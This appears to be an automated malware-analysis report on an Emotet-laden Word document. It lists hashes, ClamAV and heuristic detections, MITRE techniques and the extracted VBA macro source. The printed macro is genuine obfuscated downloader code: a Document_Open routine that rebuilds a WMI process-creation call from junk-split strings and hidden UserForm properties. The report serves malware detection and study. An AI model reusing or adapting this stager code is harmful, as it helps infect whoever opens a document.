Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 7889335d150d54d9…

MALICIOUS

Office (OLE)

169.3 KB Created: 2020-08-06 08:13:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: a386952fae091314220a2e54b4f82cb0 SHA-1: 9dd9ce00e8c60065ea77d983d0ce39c0d179a156 SHA-256: 7889335d150d54d99d93c0879f8cfd001b81bd6b7f01a54ce5c42ed6bb33b0ae
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-9235987-0', strongly indicating the Emotet family. Critical heuristics indicate the use of a hidden UserForm with VBA macros designed as a command stager, which is a common technique for downloading and executing further malicious payloads. The Document_Open macro is automatically executed upon opening the document.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9235987-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9235987-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4133 bytes
SHA-256: ac828260a6a287cacc02b0ae3166812eed2ba500d25909a13fa3ae37cda9e412
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "KHXTPyfrnscmfvmm"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
SQCXKrjgnhvrehgkfie.BPOSNfxzxizlkn
End Sub


Attribute VB_Name = "SQCXKrjgnhvrehgkfie"
Attribute VB_Base = "0{64F1CD76-3FD4-4468-A020-0D4E9F263BE7}{C51F6D19-FAD7-4A37-8A30-0D29F5AFEEF2}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function BPOSNfxzxizlkn()
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
XPRJFpboainm = Chr(SQCXKrjgnhvrehgkfie.Zoom + ((30 + 60 + 30) / (4 + 4)))
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
Dim MQtfr As Integer
MQtfr = Len("WPDQNM")
NEWGUnuaidter = "2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dw2348*&%7893T289 &*(HUIGSAU76787GSGSG3Di2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dnm2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dgm2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dt2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3D" + XPRJFpboainm + "2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3D:2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dw2348*&%7893T289 &*(HUIGSAU76787GSGSG3Din2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3D32348*&%7893T289 &*(HUIGSAU76787GSGSG3D22348*&%7893T289 &*(HUIGSAU76787GSGSG3D_2348*&%7893T289 &*(HUIGSAU76787GSGSG3D" + SQCXKrjgnhvrehgkfie.YHEHRmhtzycseiftm + "2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dro2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dce2348*&%7893T289 &*(HUIGSAU76787GSGSG3Ds2348*&%7893T289 &*(HUIGSAU76787GSGSG3Ds2348*&%7893T289 &*(HUIGSAU76787GSGSG3D"
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
Dim Oat7ÏCU7À As Variant
TSWOKtybntkotzu = FFODAwqkyfbdwna(NEWGUnuaidter)
Dim k8ÓcbRRJYey As Integer
k8ÓcbRRJYey = Len("nXUm")
Set NJJKCbvslowzepymrlb = CreateObject(TSWOKtybntkotzu)
Dim MYsmbE7 As Long
WMRFAkwjyatsva = SQCXKrjgnhvrehgkfie.ZNOPUsgcydak.ControlTipText
Dim VvSOR1Öop As Variant
HRUIRohixohmuvxyrn = nsbuqwd + (TSWOKtybntkotzu + XPRJFpboainm + SQCXKrjgnhvrehgkfie.TCHFAqknbiqeybuy.ControlTipText + WMRFAkwjyatsva)
GoTo VB1ÍlR
VB1ÍlR:
NXHWLyaglgjenmwne = HRUIRohixohmuvxyrn + SQCXKrjgnhvrehgkfie.YHEHRmhtzycseiftm
Dim u6ÑPouprUqC As Double
Set FXHZNzifaqqjl = YJTIQthbrvfwfduii(NXHWLyaglgjenmwne)
Dim h2ÀqGNdl As String
s = Array(n + "jsdd", NJJKCbvslowzepymrlb. _
Create(UFGDGgsybkgcrbzx, VEFBSjgtcvttymo, FXHZNzifaqqjl), INSN + "dvvew")
GoSub HSO7âRMQ
HSO7âRMQ:
GoTo BGI
Return
BGI:
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
End Function
Function YJTIQthbrvfwfduii(QHNNWcoxdagf)
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
Set YJTIQthbrvfwfduii = CreateObject(QHNNWcoxdagf)
Dim dgK8Ye As Currency
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
YJTIQthbrvfwfduii. _
showwindow = VGAOUwacgruy + XKICFpqingsin + GSHZCheddthqzdcuao
Dim uebuZa As Variant
End Function
Function FFODAwqkyfbdwna(XSQWUysbgyisgxzwxqp)
CYEZTfasyipavvavzn = XSQWUysbgyisgxzwxqp
GoTo OLAE6ÒgyDT
OLAE6ÒgyDT:
LMCDQnwaiglnqusph = Split _
(CYEZTfasyipavvavzn, "2348*&%7893T289 &*" + "(HUIGSAU76787GSGSG3D")
Dim sQvHE5ÃZ As Integer
sQvHE5ÃZ = Len("cIRwWF")
MPZZYehiawpqwdljcl = ms + Join(LMCDQnwaiglnqusph, e2)
GoTo cDCrGvM
cDCrGvM:
FFODAwqkyfbdwna = MPZZYehiawpqwdljcl
Dim V5Ü8ÍA As Variant
End Function
Function UFGDGgsybkgcrbzx()
kqhlwie = SQCXKrjgnhvrehgkfie.IAXJNqheldjnj.Pages(3 / 3).Caption
GoSub ZdXKX
ZdXKX:
GoTo U3Ä6PeXB1ÈvH
Return
U3Ä6PeXB1ÈvH:
UFGDGgsybkgcrbzx = FFODAwqkyfbdwna(kqhlwie)
GoTo aknR
aknR:
End Function

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